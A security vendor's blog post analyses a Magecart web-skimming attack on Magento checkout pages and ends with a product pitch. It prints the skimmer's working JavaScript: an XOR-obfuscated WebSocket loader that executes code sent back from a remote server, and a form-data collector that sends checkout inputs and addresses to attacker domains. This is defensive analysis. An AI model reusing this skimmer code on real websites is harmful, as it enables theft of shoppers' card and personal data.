Skip to main content
Blog
Blog Attacks

New Magecart attack code revealed

On October 14th, we posted an article on how another Magento Magecart attack was taking place. Then we only noticed one script as the culprit. Today, we were able to find and analyze the attack in more detail. The attack decoded This was the injected code: <script> const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23]; const zep = 42; window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.h

Oct 23, 2024 Updated Jul 20, 2026 4 min read
new-magecart-attack-image-cover
Table of Contents

TL;DR: obfuscated skimmer analysis

  • Random-looking on purpose: The injected script looks like a random 30-byte array and that is the point, because hash checks and human review both slide past code assembled at runtime through XOR arithmetic and String.fromCharCode reconstruction.
  • Auto-deobfuscated: The payload opens a WebSocket to wss://gstatlc[.]org/jivo and only activates on Magento's onestepcheckout route, and cside's engine deobfuscates and unpacks it automatically instead of waiting for a researcher to publish an analysis.
  • Check your tooling: If your review process depends on reading source files by eye, obfuscated skimmers stay invisible for months, so decide whether your tooling actually deobfuscates payloads on its own or just proxies them onward.

Short on time? See cside's in-browser Magecart and skimmer blocking. It covers everything below in one deployment.

On October 14th, we posted an article on how another Magento Magecart attack was taking place. Then we only noticed one script as the culprit.

Today, we were able to find and analyze the attack in more detail.

The attack decoded

This was the injected code:

<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>

Upon decoding this obfuscated script, we discovered that it establishes a WebSocket connection to the following URL: wss://gstatlc[.]org/jivo?source=.

We then suspected the attack likely intended for web skimming purposes, i.e., stealing customer data such as credit card information.

Now we found the following script:

! function() {
    function e(e) {
        let t = "";
        for (let n = 0; n < e.length; n += 2) {
            let o = e.slice(n, n + 2),
                c = parseInt(o, 16);
            t += String.fromCharCode(c)
        }
        return t
    }
    if (window.location.href.includes(e("6f6e6573746570636865636b6f7574"))) {
        const t = new WebSocket(e("7773733a2f2f61766765617273686f702e6164732d616e616c797369732e6e65743a3434332f7773")),
            n = "x-magento-65dsf";
        t.onmessage = function(t) {
            ! function(t) {
                if (!document.querySelector("#" + n)) {
                    const o = document.createElement("script");
                    o.id = n, o.text = e(t), document.head.appendChild(o)
                }
            }(t.data)
        }
    }
}();

This leads to obfuscated code, which our platform cside automatically deobfuscates. We found various functions meant to capture data.

// Function to decode the selectors
    function decodeSelectors() {
        let decoded = hexDecode(encodedSelectors);
        let selectorArray = decoded.split('|');
        return selectorArray;
    }
 // Function to check if specific elements are present on the page
    const checkElementsPresence = () => {
        let selectors = decodeSelectors();
        return selectors.every(selectorEntry => {
            let [selector, count] = selectorEntry.split(':');
            let elements = document.querySelectorAll(selector);
            return elements.length >= Number(count);
        });
    };
  // Function to generate a unique identifier
    const generateUUID = () => {
        return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
            (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
        );
    };
// Function to encode data as hex
    function hexEncode(str) {
        return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
    }
 // Function to collect form data
    const collectFormData = (context) => {
        let data = {};
        let counts = {};
        let inputs = context.querySelectorAll('input, select, textarea');

        for (let i = 0; i < inputs.length; ++i) {
            let element = inputs[i];
            let name = element.name || element.id;
            let value = element.value;

            if (value !== '' && name) {
                if (!counts[name]) counts[name] = 0;

                if (element.tagName !== 'SELECT') {
                    counts[name] === 0
                        ? data[name] = value
                        : data[`${name}#${counts[name]}`] = value;
                } else {
                    let selectedOption = element.options[element.selectedIndex].text;
                    counts[name] === 0
                        ? data[name] = selectedOption
                        : data[`${name}#${counts[name]}`] = selectedOption;
                }

                counts[name]++;
            }
        }

        data['url'] = window.location.hostname;
        data['ua'] = window.navigator.userAgent;
        data['ts'] = Date.now();
 // Attempt to collect customer address data if available
        if (window.checkoutConfig && window.checkoutConfig.customerData && window.checkoutConfig.customerData.addresses) {
            try {
                let addresses = window.checkoutConfig.customerData.addresses;
                data['address_data'] = addresses[Object.keys(addresses)[0]];
            } catch (e) { /* Ignore errors */ }
        }

        return hexEncode(JSON.stringify(data));
    };
  // Interval to repeatedly check and send data
    let intervalId = setInterval(() => {
        if (checkElementsPresence()) {
            let formData = collectFormData(document.body);
            const uuid = generateUUID();
            const webSocketURL = hexDecode(encodedWebSocketURL) + '/' + uuid;
            const ws = new WebSocket(webSocketURL);

            ws.addEventListener('open', function () {
                ws.send(formData);
                ws.close(1000, 'done');
                clearInterval(intervalId);
            });
        }
    }, 1000);
})();

In there was another malicious domain: wss://adsprove[.]online/ws.

All these function now prove that the script is indeed targeting various inputs from unsuspecting visitors. It also proves that monitoring and blocking these attempts from the client-side is vital to spot and stop these attacks.

How to protect your site

cside was founded to stop these attacks. Any 3rd party scripts present on your site that are compromised, we can detect and block before they execute in the browser of your visitors. This protects them, and you, from malicious actors.

By using our free tier, you are safe from this and other similar attacks.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitor and Secure Your Third-Party Scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start free, or try Business with a 14-day trial.

cside dashboard interface showing script monitoring and security analytics
Related Articles
Book a demo

Want to walk through this with an engineer?

Thirty minutes, on your own site. Not a slide deck.

Book a personalized demo to see:

How to achieve PCI DSS requirement 6.4.3 & 11.6.1 compliance in 1 day
Why third-party scripts are a security risk for you and your visitors
Monitoring privacy and consent leakage (GDPR, CCPA) across every third party
Stopping signup abuse, account sharing, and chargeback fraud with device intelligence
Detecting and controlling AI agents and bots hitting your site in real time

Rather just send a question?

Finding open slots…

Real humans only. We'd know.

Having trouble booking? Open scheduler in a new tab

What are you trying to solve?

Tell us in a line and we'll come back with something useful, not a generic pitch.

We usually help with:

Seeing which third-party scripts run on your site
PCI DSS 6.4.3 and 11.6.1 evidence
Bots, AI agents and account takeover

Prefer to just book a time? Pick a slot instead